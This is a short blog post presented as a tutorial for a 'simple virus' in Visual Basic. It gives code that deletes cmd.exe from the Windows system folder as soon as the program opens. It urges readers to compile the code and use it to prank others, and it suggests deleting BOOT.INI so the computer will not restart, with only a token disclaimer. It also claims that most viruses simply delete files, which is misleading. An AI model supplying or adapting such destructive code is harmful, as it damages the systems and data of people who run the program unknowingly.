MAKE A SIMPLE VIRUS IN VISUAL BASIC
Well. now i'll teach you how to make a basic Virus in Visual Basic.
Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.
To start with,Just open the Visual Basic,Select Standard EXE.
Now if you want to your virus to be active whenever the program is executed, then
type in the following code under the title:Private Sub Form_Load()
We'll start now:
Private Sub Form_Load()
Kill "C:\windows\system32\cmd.exe"
End Sub
Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .
I'll explain it now.
The command "KILL" tells the computer to delete the file in the inverted commas.
Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.
Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.
You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And dont try it.This's just for your knowledge.
No comments:
Post a Comment